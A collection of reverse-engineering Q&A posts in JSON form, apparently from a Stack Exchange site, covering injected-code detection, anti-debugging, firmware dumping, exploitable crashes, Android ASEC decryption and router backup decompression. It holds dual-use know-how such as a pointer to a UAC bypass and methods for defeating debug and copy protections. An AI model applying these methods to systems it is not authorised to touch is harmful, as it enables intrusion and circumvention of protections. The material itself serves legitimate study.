        "Body": "<p>I've seen a few memory forensics tutorials, which start by looking for injected code in the \"victim's\" process memory. They always seem to find the injected code in pages which have RWX access (i.e. PAGE_EXECUTE_READWRITE). </p>\n\n<p>Does this assumption always hold? Does code injected (e.g. by malware) into the process memory of a \"victim\", always belong to a page with RWX access? Or can the page access be changed, by the code that is injected? If so, how can this change be done via winapi?</p>\n",
        "Title": "Does code injected into process memory always belong to a page with RWX access?",
        "Tags": "|windows|memory|winapi|",
        "Answer": "<p>The reason for targeting the RWX pages is that the injected code most often carries data in the same region as the code, and requires that the data are writable.  Thus the W flag is needed.  The X flag is required to support DEP, in case the process opted in, or if the system enforces it for everyone.  The R flag is entirely optional when requesting the page.  Windows will ensure that it is set anyway.\nIt is of course possible for malware to allocate two regions, one [R]X and one [R]W, and write only to the writable section, but I don't recall ever seeing this technique being used.  For one thing, it complicates the injected code.</p>\n"
    },
    {
        "Id": "3487",
        "CreationDate": "2014-01-19T18:48:44.367",
        "Body": "<p>There are many tutorials which show how to detect injected code into process memory. However, this generally requires using a debugger. </p>\n\n<p>Is it possible for a process to somehow detect if it has been injected by another process using winapi? If so, how?</p>\n\n<p>More specifically, are there any \"fixed/likely\" characteristics of injected code? For instance, from <a href=\"https://reverseengineering.stackexchange.com/questions/3482/does-code-injected-into-process-memory-always-belong-to-a-page-with-rwx-access\">this question</a> it appears that injected code can be characterized by always appearing in pages that have the following protection flags set: PAGE_READWRITE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_WRITECOPY and possibly (but unlikely) PAGE_EXECUTE. Can you point out other characteristics of injected code?</p>\n",
        "Title": "Can a Windows process check if it has been injected by another process?",
        "Tags": "|windows|memory|winapi|",
        "Answer": "<p>One way that a process can detect the presence of injected threads is by the use of Thread Local Storage.  When a thread is injected, the host's Thread Local Storage callbacks will be called unless the injector takes care to disable that.  If the callbacks are called, then the host can query the start address of the new thread and determine if it is within the host's defined code region (which only the host would know)  See the Thread Local Storage section in my \"Ultimate\" Anti-Debugging Tricks paper (<a href=\"http://pferrie.host22.com/papers/antidebug.pdf\">http://pferrie.host22.com/papers/antidebug.pdf</a>) for an example of that.</p>\n\n<p>While this does not detect everything (some malware use cavities within the host's existing code section in order to perform the injection), it will certainly catch some things.</p>\n\n<p>However, the short answer to your question is actually \"no\".  There isn't a way for a process to \"know\" in <em>all</em> cases that something has been injected.  It is \"yes\" for most cases, but not all of them.</p>\n"
    },
    {
        "Id": "3489",
        "CreationDate": "2014-01-19T19:49:39.587",
        "Body": "<p>Title says it all. I'm trying to RE a video game which is packed with Themida and the second I attach OllyDbg it crashes. When on XP, I can use StrongOD and PhantOm but neither of these work properly on Windows 7. I could use the XP machine via RDP but my Win 7 machine is much less irritating to use. </p>\n\n<p>Does anybody have any suggestions? </p>\n",
        "Title": "Are there any OllyDbg anti-debug/anti-anti-debug plugins what work with Windows 7 / NT 6.x?",
        "Tags": "|windows|ollydbg|anti-debugging|packers|",
        "Answer": "<p>I'd suggest taking a look at <a href=\"http://x64dbg.com/#start\" rel=\"nofollow noreferrer\">x64dbg</a>. Despite what the dumb name might suggest, there <em>is</em> a 32 bit version. With that out of the way, I would give <a href=\"https://github.com/x64dbg/ScyllaHide\" rel=\"nofollow noreferrer\">ScyllaHide</a> a try.</p>\n"
    },
    {
        "Id": "3495",
        "CreationDate": "2014-01-20T04:45:41.053",
        "Body": "<h1>Problem Statement</h1>\n<p>I have a file composed entirely of data structures; I've been trying to find a tool that will enable me to open this file, and declare (perhaps) a type and offset such that i may work with the presumed primitive data type individually.</p>\n<p>e.g. I declare the 4 bytes located at offset 0x04 to be a 32-bit unsigned integer, and would like to inspect the value at this location (read as big-endian perhaps) and then work with this integer individually (perhaps see what it looks like encoded as a 4-byte ascii string and attempt to read it, etc.)</p>\n<h1>Specifics</h1>\n<p>I have a 4096 byte file containing C-structs with member elements as integers ranging from 16-64 bits in length; the following is an example:</p>\n<pre><code>struct my_struct {\nuint_32 magic\n} // sizeof(my_struct) == 0x04\n</code></pre>\n<p>In this case, magic = 'ball', and so when the file is opened in a text editor it reads as 'llab...', and obviously can also be represented as a 32-bit integer</p>\n<h1>Question</h1>\n<p>Is there a tool that enables static analysis of flat data structure files?</p>\n<h1>What I've considered thus far as a solution</h1>\n<p>I've considered writing a command line tool in Python to do this, but if something already exists I'd prefer to save time, and perhaps learn more about this topic by using a tool designed by someone more experienced. If it seems to you that I am going about this incorrectly (this is my first serious exploration into this kind of reversing) please guide my understanding, thanks.</p>\n<h1>Where I have already researched</h1>\n<p>Googled 'reverse engineering tools' and browsed the links</p>\n<p>Checked wikipedia's reverse engineering pages</p>\n<p>Tried some first principles reasoning</p>\n<p>Checked pypi</p>\n<h1>Results</h1>\n<p>There are three completely valid and correct answers, but I've marked the most detailed and least expensive of them as correct, because it is the most accessible to members of the community reviewing this question.</p>\n",
        "Title": "What tools exist for excavating data structures from flat binary files?",
        "Tags": "|disassembly|tools|static-analysis|",
        "Answer": "<p><a href=\"https://hexinator.com/\" rel=\"nofollow noreferrer\">Hexinator</a> </p>\n\n<ul>\n<li><p>has a similar feature to binary templates of 010 Editor that is called a \"grammar\". It allows to insert numbers, strings, structs and binary blobs. If that's not enough, it has scripting capabilities in Python and Lua</p></li>\n<li><p>the values can then be edited nicely (e.g. in decimal instead of hex). The hex area can be highlighted.</p></li>\n</ul>\n\n<p>Drawbacks:</p>\n\n<p>at the time of writing it seems to have issues with more than one open grammar + one open file. When opening a second file for the same grammer, it crashed. Save early and save often.</p>\n\n<p>Screenshot of a partially analyzed file:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OaHcn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OaHcn.png\" alt=\"Screenshot\"></a></p>\n"
    },
    {
        "Id": "3498",
        "CreationDate": "2014-01-20T12:49:03.350",
        "Body": "<p>How can I detect/mark recursive functions in IDA?</p>\n\n<p>Trivial method would be to check every function's call list and if it calls itself then it's recursive. I'ld like to put a comment or some kind of indicator that would help me distinguish these functions. </p>\n",
        "Title": "Detecting recursive functions in IDA",
        "Tags": "|ida|ida-plugin|functions|callstack|automation|",
        "Answer": "<p>I lack 9 reputation points, so sadly I can't comment the great answer by w_s. ;)</p>\n\n<p>Just for completeness, the concept described is known in graph theory as \"Tarjan's Algorithm\" for finding strongly connected components. </p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Tarjan%27s_strongly_connected_components_algorithm\" rel=\"nofollow noreferrer\">Wikipedia</a> has a nice animation that helps following the steps.<img src=\"https://zippy.gfycat.com/ActualSinfulConch.gif\" alt=\"Tarjan&#39;s Algorithm\"></p>\n\n<p>For study, here is another (more formal) <a href=\"http://www.logarithmic.net/pfh-files/blog/01208083168/tarjan.py\" rel=\"nofollow noreferrer\">Python implementation</a>, it's the one I have used for finding loops in functions in <a href=\"https://bitbucket.org/daniel_plohmann/simplifire.idascope/src/f353158d25b331c69e1b6ac360aa46cfff672dd3/idascope/core/helpers/Tarjan.py?at=master\" rel=\"nofollow noreferrer\">IDAscope</a> but it's easily adapted for finding recursive functions.</p>\n"
    },
    {
        "Id": "3501",
        "CreationDate": "2014-01-20T15:32:35.123",
        "Body": "<p>Is it possible for a running process to turn off User Account Control (UAC) via a Windows API call? If so, which API calls are needed?  </p>\n\n<p>I found this <a href=\"https://stackoverflow.com/questions/852867/disable-vista-uac-per-application-or-elevate-privileges-without-prompt\">interesting question/answer</a> on stackoverflow, however, I'm interested if there is some other way to do it.</p>\n",
        "Title": "Can a process disable UAC via WinAPI without prompting the user?",
        "Tags": "|windows|winapi|",
        "Answer": "<p>This seems like a security ex question instead of one about reverse engineering. Therefore I'd keep my answer short.</p>\n\n<p>This <em>should</em> not be possible. Simply as malware would abuse this, what you could do if you want this is find a 0day in kernel space and get SYSTEM privileges. Back in 2010 there was someone from China who has posted a method on the code project(if I recall correctly). It's now hosted on the exploit-db..</p>\n\n<p><a href=\"http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/\" rel=\"nofollow\">http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/</a></p>\n\n<p>Goodluck on your research.</p>\n"
    },
    {
        "Id": "3503",
        "CreationDate": "2014-01-21T00:24:41.743",
        "Body": "<p>Is there a practical way to find if the raw binary (firmware image for example) has symbol table ? Finding start or end of it ? And if it exists is it a single block or can it be seperate multiple blocks with another data inbetween ?    </p>\n",
        "Title": "How to determine if binary has symbol table",
        "Tags": "|disassembly|firmware|symbols|",
        "Answer": "<p>I worked with some types of symbol tables. All these types are very different and can not be defined as something that allows automatic detection. It can be some kind of list of tuples like (pointer to name, type, pointer to object, [something else]). There are a lot of other variants also. \nAny time I succeeded to recognize symbol table it was done by manual inspection of analyzed dump. </p>\n\n<p>My methodology to find such symbol table is as follows (assuming that IDA didn't find it automatically):</p>\n\n<p>1 - Find all strings in the binary, sort them and inspect results.\n    If you see a lot of potential object names (function names, global variable names etc) you can suspect that you can use it and it is possible that there is symbol table in the binary.  </p>\n\n<p>2 - Choose some strings from the set. Check references to them. If you find \nthese references in something that looks like array of structures or any other regular data structure it might be your symbol table.</p>\n\n<p>3 - When you understand what is the structure of your symbol table you can rename your objects with simple IDAPython script.</p>\n"
    },
    {
        "Id": "3507",
        "CreationDate": "2014-01-21T16:31:55.710",
        "Body": "<p>I know some binary diff tool like VBinDiff and others.</p>\n\n<p>Currently I have a large number of binary, around 500.</p>\n\n<p>So I am looking for a binary tool to quantitatively evaluate the difference of binaries..</p>\n\n<p>Like evaluate the difference of binary 10 and binary 100 is 56%. Difference of binary 50 and binary 200 is 78%.</p>\n\n<p>Is there any tool like this? </p>\n\n<p>Thank you!</p>\n",
        "Title": "Is there any tool to quantitatively evaluate the difference of binary?",
        "Tags": "|binary-analysis|bin-diffing|",
        "Answer": "<p>This is probably a bit further outside the normal reverse engineer's toolchest, but still a possibility. <a href=\"http://www.chromium.org/developers/design-documents/software-updates-courgette\" rel=\"nofollow\">Courgette</a> is the codename of the update mechanism behind Chromium and thus Chrome. Quote:</p>\n\n<blockquote>\n  <p>Courgette transforms the program into the primitive assembly language\n  and does the diffing at the assembly level:</p>\n\n<pre><code>server:\n    asm_old = disassemble(original)\n    asm_new = disassemble(update)\n    asm_new_adjusted = adjust(asm_new, asm_old)\n    asm_diff = bsdiff(asm_old, asm_new_adjusted)\n    transmit asm_diff\n\nclient:\n    receive asm_diff\n    asm_old = disassemble(original)\n    asm_new_adjusted = bspatch(asm_old, asm_diff)\n    update = assemble(asm_new_adjusted)\n</code></pre>\n</blockquote>\n\n<p>Of course this is limited by the number of CPU architectures. You didn't state your requirements (unless it was written with invisible pixels ;))</p>\n"
    },
    {
        "Id": "3510",
        "CreationDate": "2014-01-21T21:37:51.397",
        "Body": "<p>i am analysing a crash, the crash occurs in a function that its always on use, if set a break point in this function always stop the program.</p>\n\n<p>When the crash occurs, overwrite mm3 register, i want when overwrite mm3 with my values use the breakpoint.</p>\n\n<p>the original estate of mm3 register its 0:0:e3cb:f144, when crash its aaaa:aa00:0:0.</p>\n\n<p>when try this :</p>\n\n<pre><code>bp abpatch \".if @mm3  = aaaa:aa00:0:0  {} .else {gc}\" \n</code></pre>\n\n<p>error, i cant use \":\" on bp</p>\n\n<p>if try this:</p>\n\n<pre><code>bp abpatch \".if @mm3  = aaaaaa000:0  {} .else {gc}\"\n</code></pre>\n\n<p>or</p>\n\n<pre><code>bp abpatch \".if (@mm3 &amp; 0x0`ffffffff) = 0x0`aaaaaa0000  {} .else {gc}\" \n</code></pre>\n\n<p>Program crash and dont stop.</p>\n\n<p>commonly i analyse the crash with -4 at the address that function crash, but now this function is always running on the program.</p>\n\n<p>I put aaaa for easy location.</p>\n\n<p>I think too need stop just before mm3 have got this values, but i don't know :( </p>\n\n<p>How I can put a break point on a mm3 register??\nany other solution for this ??</p>\n\n<p>Any help or suggestion? . Thank you in advanced.</p>\n\n<p>Regards</p>\n",
        "Title": "Specifying an MMX register's value in WinDbg",
        "Tags": "|windbg|",
        "Answer": "<p><code>bp abpatch \".if mm3 = aaaaaa0000000000 {} .else {gc}\"</code></p>\n"
    },
    {
        "Id": "3516",
        "CreationDate": "2014-01-23T10:56:31.777",
        "Body": "<p>What I'm doing now is placing an awful lot of comments about function variable values, global variable values as comments in my IDA database, which I find ugly after a while and obviously not a best practice. </p>\n\n<p>I was wondering if it's possible to store runtime variable values of your target process from a dynamic debugging session in your IDA database(or any other storage/tool) in some way. For example you run IDA debugger, or some external tool like olly/immunity, and store the encountered values (globals, function parameters) in IDA, so you can see actual values when doing your static analysis in IDA (for example on mouse over).</p>\n\n<p>I don't know if anybody done this before, but it think it would be a really helpful feature.</p>\n\n<p><strong>Is this possible, any similar tool/solution out there you know of? How do you process static+dynamic data of the reversed application?</strong> </p>\n\n<p>I'm not tied to IDA, but I find that environment to be most fitting for storing my result data. I'm interested in any solution.</p>\n",
        "Title": "Static analysis data combined with dynamic analysis knowledge",
        "Tags": "|ida|binary-analysis|static-analysis|dynamic-analysis|debugging|",
        "Answer": "<blockquote>\n  <p><a href=\"https://github.com/deresz/funcap\" rel=\"noreferrer\"><strong><code>funcap</code></strong></a> uses IDA's debugging API to record function\n  calls in a program together with their arguments (before and after).</p>\n  \n  <p>This is very useful when dealing with malware which uses helper\n  functions to decrypt their strings, or programs which make many\n  indirect calls.</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/gtH5U.png\" alt=\"a\"></p>\n"
    },
    {
        "Id": "3526",
        "CreationDate": "2014-01-23T16:55:36.967",
        "Body": "<p>Appreciate it's a broad question, but despite days of Googling I haven't found straight forward explanation of the general principle of how to \"capture\" or copy an unkown firmware from a piece of hardware. </p>\n\n<p>I gather once you have it you can begin to use various tools to analyse it, but what I want to understand is how to get it in the first place. </p>\n\n<p>From what i understand you need to connect to it via a JTAG or UART connection , after that I'm a bit lost.</p>\n",
        "Title": "How do I extract a copy of an unknown firmware from a hardware device?",
        "Tags": "|hardware|firmware|",
        "Answer": "<p>As you may suspect, it very much depends on the hardware. In general, you are correct, JTAG and/or UARTs can be often be used to get a copy of the firmware (downloading a firmware update from the vendor is usually the easiest way of course, but I'm assuming that is not what you mean). </p>\n\n<p>JTAG implementations typically allow you to read/write memory, and flash chips are typically \"mapped\" into memory at some pre-defined address (finding that address is usually a matter of Googling, experience, and trial and error); thus, you can use tools like <a href=\"http://urjtag.org/\" rel=\"noreferrer\">UrJTAG</a> and <a href=\"http://openocd.sourceforge.net/\" rel=\"noreferrer\">OpenOCD</a> to read the contents of flash.</p>\n\n<p>UART is just a serial port, so what interface or options it provides (if any) is entirely up to the developer who created the system; most bootloaders (e.g., <a href=\"http://www.denx.de/wiki/U-Boot\" rel=\"noreferrer\">U-Boot</a>) do allow you to read/write flash/memory, and will dump the ASCII hex to your terminal window. You then would need to parse the hexdump and convert it into actual binary values. Again, YMMV and there may be no way to dump memory or flash via the UART.</p>\n\n<p>Other devices may have other mechanisms that provide similar functionality; for example, Microchip's PIC microcontrollers use <a href=\"http://en.wikipedia.org/wiki/In-circuit_serial_programming\" rel=\"noreferrer\">ICSP</a> (In Circuit Serial Programming) interfaces to read, write, and debug firmware. Such interfaces are usually proprietary, and may or may not be documented (Microchip's is well known).</p>\n\n<p>Vendors may take steps to protect or disable debug interfaces such as JTAG, UART and ICSP, but often you can <a href=\"https://reverseengineering.stackexchange.com/questions/2337/how-to-dump-flash-memory-with-spi\">dump the flash chip</a> directly (this is usually faster than JTAG/UART, but may require some de/soldering). For devices such as microcontrollers that have the flash chip built-in (i.e., the flash chip is not exposed to you), you may need to resort to <a href=\"http://www.bunniestudios.com/blog/?page_id=40\" rel=\"noreferrer\">more advanced techniques</a> for defeating such copy-protections.</p>\n\n<p>Personally, since I don't deal much with microcontroller based systems, dumping the flash chip directly is usually my go-to for grabbing a copy of the firmware from the device.</p>\n"
    },
    {
        "Id": "3529",
        "CreationDate": "2014-01-23T18:17:48.977",
        "Body": "<p>I have a crash that is exploitable, the information is this:</p>\n\n<pre><code>  Exploitability Classification: EXPLOITABLE\n    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)\n\nUser mode write access violations that are not near NULL are exploitable.\n</code></pre>\n\n<p>I only have experience on stack overflow, and here don't see eip overwrite.</p>\n\n<p>I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.</p>\n\n<p>But I don't know which type of vulnerability is it, heap overflow, integer, format string , command injection etc.. </p>\n\n<p>My question, with the exploitable response indicate the vulnerabilities ??? \nI don't understand the exploitable response.</p>\n\n<p>Any suggestion or indication ?</p>\n\n<p>Sorry for my newbie question, I am a beginner in exploiting.</p>\n",
        "Title": "Help on Exploitable response",
        "Tags": "|exploit|windbg|",
        "Answer": "<p>It was classified as exploitable because it's a write access-violation to a non-null address. In theory, an attacker may be able to exploit this vulnerability to write arbitrary code to an arbitrary address.</p>\n"
    },
    {
        "Id": "3532",
        "CreationDate": "2014-01-24T07:42:44.657",
        "Body": "<p>Is there any way to get a jar file from a jar wrapped using a exe wrapper.\nI have an exe file and I know that it was wrapper using exe wrapper (<a href=\"http://launch4j.sourceforge.net/\">launch4j</a> to be precise).\nHow do I unwrap this jar to get back the jar.\nI have seen that I can unwrap it in Linux using <a href=\"http://fileroller.sourceforge.net/\">fileroller</a>, how do I do it in windows</p>\n\n<pre><code>ADD : How is it different if it wrapped using wrappers other than launch4j\n</code></pre>\n",
        "Title": "Get jar back from wrapped(into exe) jar",
        "Tags": "|decompilation|executable|jar|",
        "Answer": "<p>Since we're talking windows (and 5 years later) how about this: intall the program, go to the install dir and get the jar(s) from there. Now you can decompile the jar directly.</p>\n"
    },
    {
        "Id": "3541",
        "CreationDate": "2014-01-24T12:12:47.157",
        "Body": "<p>I was just disassembling and debugging an ARM binary for fun and I noticed something unusual. Consider the following set of instructions:-</p>\n\n<pre><code>   0x00008058 &lt;+4&gt;: mov r1, pc\n   0x0000805c &lt;+8&gt;: add r1, r1, #24\n   0x00008060 &lt;+12&gt;:    mov r0, #1\n</code></pre>\n\n<p>I tried setting a breakpoint at <code>0x0000805c</code> and checked the value of the register <code>r1</code>. I was expecting to see <code>0x0000805c</code> -- however, interestingly the value is <code>0x8060</code>.</p>\n\n<p>Why is this? Is this because of some sort of instruction pipelineing? </p>\n",
        "Title": "ARM debugging interesting behavior",
        "Tags": "|debugging|arm|",
        "Answer": "<p>Yes, it's because of pipelining.</p>\n\n<p>From <a href=\"http://winarm.scienceprog.com/arm-mcu-types/how-does-arm7-pipelining-works.html\" rel=\"nofollow noreferrer\">http://winarm.scienceprog.com/arm-mcu-types/how-does-arm7-pipelining-works.html</a> --</p>\n\n<blockquote>\n  <p><img src=\"https://i.stack.imgur.com/sIrwO.gif\" alt=\"ARM pipelining\"></p>\n  \n  <p>PC (Program Counter) is calculated <strong>8 bytes ahead</strong> of current\n  instruction.</p>\n</blockquote>\n"
    },
    {
        "Id": "3544",
        "CreationDate": "2014-01-24T18:02:26.497",
        "Body": "<p>I have found a vulnerability that write access-violation to a non-null address, but I don't know how exploit.</p>\n\n<p>I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.</p>\n\n<p>But my problem, I only know typical buffer stack overflow, and need learn how exploit this, and knowing what is vulnerability (heap, format string, integer overflow, etc).</p>\n\n<p>I am confused because only crash when is 800000001 (negative), not with 80000000 or 80000002. With this response:</p>\n\n<pre><code>Exploitability Classification: EXPLOITABLE\n    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)\n\nUser mode write access violations that are not near NULL are exploitable.\n</code></pre>\n\n<p>What vulnerability is and how exploit ? Any suggestion or recommended lecture ?</p>\n",
        "Title": "How exploit write access-violation to a non-null address",
        "Tags": "|exploit|windbg|",
        "Answer": "<p>Sorry this should be a comment but dont have enough reputation.</p>\n\n<p>This is too vague for people to help you. Do you have the disassembly around the crash? It only crashes when what is 8000000001? That makes it sound like potentially an integer overflow. Where is it writing? Can you control the address that its writing to? Do you have control of what is being written?</p>\n"
    },
    {
        "Id": "3550",
        "CreationDate": "2014-01-25T11:34:23.220",
        "Body": "<p>I am a beginner in Reverse Engineering and am trying to improve my skill by participating in any CTF's I can and solving CrackMe's. I am trying to find out why Binary Exploitation and Reverse Engineering are always separated as two different topics.</p>\n\n<p>My Question is simple:</p>\n\n<blockquote>\n  <p>Is Reversing different from Binary Exploitation?</p>\n</blockquote>\n",
        "Title": "Difference Between Binary Exploitation and Reverse Engineering?",
        "Tags": "|ida|ollydbg|binary-analysis|",
        "Answer": "<p>Yes, it is different. Binary exploitation intended to change behaviour of the binary, and reverse engineering intended to understand how it works.</p>\n\n<p>BInary exploitation requires some reverse engineering, reverse engineering doesn't necessarily requires binary exploitation.</p>\n\n<p>The best example I know about it is overcoming DRM protections of media content.\nIt requires a lot of reverse engineering and almost not requires binary exploitation.</p>\n"
    },
    {
        "Id": "3558",
        "CreationDate": "2014-01-26T09:36:22.437",
        "Body": "<p>How to edit .asec or compare two .asec files witch are stored by app at location mnt/.android_souce/app name.asec.\nThis file get updated whenever data connection is on / while using app to upload and download app data .\nThis folder not able to access on non rooted Phone but can able to access on pc with usb .\nWhat are capable software that can read and writing easily .asec file ?</p>\n",
        "Title": "How to edit .asec file?",
        "Tags": "|android|java|hex|",
        "Answer": "<p>The ASEC file is a TwoFish encrypted container which in turn is a dm-crypt volume that gets mounted by Linux's device mapper at /mnt/asec/[app_id] (The AppID is based on the package name). The 128-bit key to the container can be found in /data/misc/systemkeys but this file requires root access for reading. You can read exactly how the encryption works <a href=\"http://nelenkov.blogspot.com.br/2012/07/using-app-encryption-in-jelly-bean.html\" rel=\"noreferrer\">here</a>. Moving on, the mounted volume will contain an unencrypted apk of the application. In order to change the desired data, it's necessary to understand where the data is stored and how it is done. For that, the application will have to be reverse-engineered by either decompilation - <a href=\"https://reverseengineering.stackexchange.com/questions/42/decompiling-android-application/46#46\">list of tools</a> - or by disassembly to smali and posterior debugging using tools such as <a href=\"https://code.google.com/p/android-apktool/\" rel=\"noreferrer\">apktool</a> and <a href=\"https://code.google.com/p/androguard/\" rel=\"noreferrer\">androguard</a>. </p>\n\n<p>Sometimes, these steps can be bypassed as the app uses a database file in it's directory (usually /data/data//) that you can edit with any SQLite editor, such as <a href=\"https://play.google.com/store/apps/details?id=oliver.ehrenmueller.dbadmin\" rel=\"noreferrer\">SQLite Debugger</a> or using the sqlite3 set included by default in Android, or keeps the relevant information in memory in a way that is trivial to change it with a memory editor such as <a href=\"http://gameguardian.net/\" rel=\"noreferrer\">GameGuardian</a>. However, the data can be stored server-side and transmitted through the network when app is started and then kept in memory in a not easily modifiable way so that in order to be able to change it, you will need to not only reverse-engineer the application but also to intercept and modify the traffic it receives in order to transmit the new information to the application.</p>\n"
    },
    {
        "Id": "3569",
        "CreationDate": "2014-01-28T01:18:24.130",
        "Body": "<p>I recently read that GCC annotates the source-code into the debug symbols it produces, although I haven't found any examples on how to retrieve this. </p>\n\n<p>If this is true, how can I view the data in the debug symbols, mainly the code annotations.</p>\n\n<p>What would be the steps I need to complete starting with a gcc compiled dll with debug symbols.</p>\n",
        "Title": "How to extract information from dll compiled in gcc with debug symbols?",
        "Tags": "|decompilation|debuggers|dll|debugging|compilers|",
        "Answer": "<p>Use either <a href=\"http://sourceware.org/binutils/docs/binutils/readelf.html\" rel=\"nofollow\">readelf</a> utility with -w (or --debug-dump) command line switch or <a href=\"https://sourceware.org/binutils/docs/binutils/nm.html\" rel=\"nofollow\">nm</a> utility with -a command line switch.</p>\n"
    },
    {
        "Id": "3589",
        "CreationDate": "2014-01-31T08:30:03.253",
        "Body": "<p>The <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686735%28v=vs.85%29.aspx\" rel=\"nofollow\"><code>THREADENTRY32</code> structure</a> contains a member called <code>th32OwnerProcessID</code>, which is described as: </p>\n\n<blockquote>\n  <p>The identifier of the process that created the thread.</p>\n</blockquote>\n\n<p>I'm not sure if I understand how the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437%28v=vs.85%29.aspx\" rel=\"nofollow\"><code>CreateRemoteThread</code> function</a> works. However, I would expect that the thread created by <em>Process A</em> via <code>CreateRemoteThread</code>, in the address space of <em>Process B</em>, would have the <code>th32OwnerProcessID</code> equal to the ID of <em>Process A</em> (if we were to take the description of the <code>th32OwnerProcessID</code> as quoted above). I was a bit surprised to see that it is actually equal to the ID of <em>Process B</em>.</p>\n\n<p>Could someone please explain why this is so? And how to get the ID of the actual creator of the thread, i.e. <em>Process A</em> in my example?</p>\n",
        "Title": "How to get the PID of the a thread's creator (not owner, not host)",
        "Tags": "|winapi|thread|multi-process|",
        "Answer": "<p>That should really say \"the identifier of the process that is hosting the thread\", since that's what it is.  The snapshot that is created by the Toolhelp APIs is system-wide, so in order to understand where a thread lives, you need its process ID.  That would be meaningless if it said process A, if process A created a remote thread in process B and then exited.  In that case, the PID belonging to process A at the time of creation might end up being reused by the next process that is created, and obviously be completely unrelated to the thread.</p>\n\n<p>Consider this a different way: creating a remote thread is merely making a request to the remote process to create the thread, so the remote process is the one who creates thread.  There is no concept of who made the request.</p>\n"
    },
    {
        "Id": "3593",
        "CreationDate": "2014-02-01T03:51:19.833",
        "Body": "<p>so I have backup from my router its zte zxv10h201l and its linux based but I can not identify type of compression of this file.\nHere is couple of first &quot;lines&quot; of it</p>\n<pre><code>\n00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 01 00 00 00 00 00 80  00 00 23 90 00 00 00 00  |..........#.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  04 03 02 01 00 00 00 00  00 00 00 0b 5a 58 56 31  |............ZXV1|\n00000090  30 20 48 32 30 31 4c 01  02 03 04 00 00 00 00 00  |0 H201L.........|\n000000a0  01 4c 54 00 00 23 78 00  00 20 00 40 34 b7 80 e9  |.LT..#x.. .@4...|\n000000b0  80 47 c0 00 00 00 00 00  00 00 00 00 00 00 00 00  |.G..............|\n000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000000d0  00 00 00 00 00 20 00 00  00 03 d0 00 00 04 18 78  |..... .........x|\n000000e0  da ed 58 61 53 da 30 18  fe be 5f c1 f1 03 b0 29  |..XaS.0..._....)|\n000000f0  88 db 4e 77 07 6d d1 de  00 3b e8 64 b7 2f 5e 6c  |..Nw.m...;.d./^l|\n00000100  23 e6 2c 49 2f 4d 11 f6  eb 97 da 56 0b da 34 45  |#.,I/M.....V..4E|\n00000110  77 d3 13 94 2b 94 27 6f  9e be 79 f2 bc 6f 7b 6c  |w...+.'o..y..o{l|\n00000120  f6 bf 7d 6a 88 d7 b1 7b  15 34 08 5c a0 93 a6 d9  |..}j...{.4.\\....|\n00000130  ef c3 08 35 1b 13 7a 67  d0 98 f0 93 26 68 a6 a0  |...5..zg....&h..|\n00000140  7b a0 38 dd 18 d3 93 a6  56 38 79 ff 83 39 ca 02  |{.8.....V8y..9..|\n00000150  d8 03 9b 5c d3 66 63 09  03 01 03 e2 4f 17 ef 8e  |...\\.fc.....O...|\n00000160  96 be 80 d6 d5 40 27 fd  a6 03 fd 30 3b 7d 98 fc  |.....@'....0;}..|\n00000170  92 1e f5 ec d8 4e 8e cd  83 c2 dc 07 62 f2 8c ef  |.....N......b...|\n</code></pre>\n<p>Afer that I connected ttl-rs232 to router and when backup button is pressed on my router web UI this show up in log</p>\n<pre><code>\n=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.01.31 22:58:29 =~=~=~=~=~=~=~=~=~=~=~=\n04:15:12 [webd][Info] [upload.c(1138)my_upload_file] Enter my_upload_file.\n04:15:12 [webd][Info] [upload.c(1343)my_upload_file] Begin download file.(filetype : config)\n04:15:12 [DB][Info] [dbc_mgr_file.c(1644)dbGetBinFile] DB get cfg start\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml\n04:15:12 [DB][Info] [dbc_mgr_file_en(570)dbcCfgFileIsEnc] FileIsEncry return 0\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml\n04:15:12 [DB][Info] [dbc_mgr_file_si(198)dbcCfgFileSign] SignFile return 0\n04:15:12 [DB][Info] [dbc_mgr_file_ve(277)dbcCfgFileVersi] add FileVersion return 0\n04:15:12 [DB][Warn] [dbc_mgr_file.c(1708)dbGetBinFile] DB download cfg(iRet:0)\n04:15:12 [webd][Info] [upload.c(644)create_config_f] user cfg path:/var/tmp/version-cfg\n</code></pre>\n<p>So I searched router firmware for srings of text like above and found this line</p>\n<blockquote>\n<p>deflate 1.1.4 jean loup gailly</p>\n</blockquote>\n<p>nearby some of strings, after quick google it seams that this is zlib and its used for compression of &quot;something&quot;, after that with my little knowlage I tried to decompress it with comands like this</p>\n<blockquote>\n<p>printf &quot;\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00&quot; |cat - zlib.raw |gzip -dc</p>\n<p>cat /tmp/data | openssl zlib 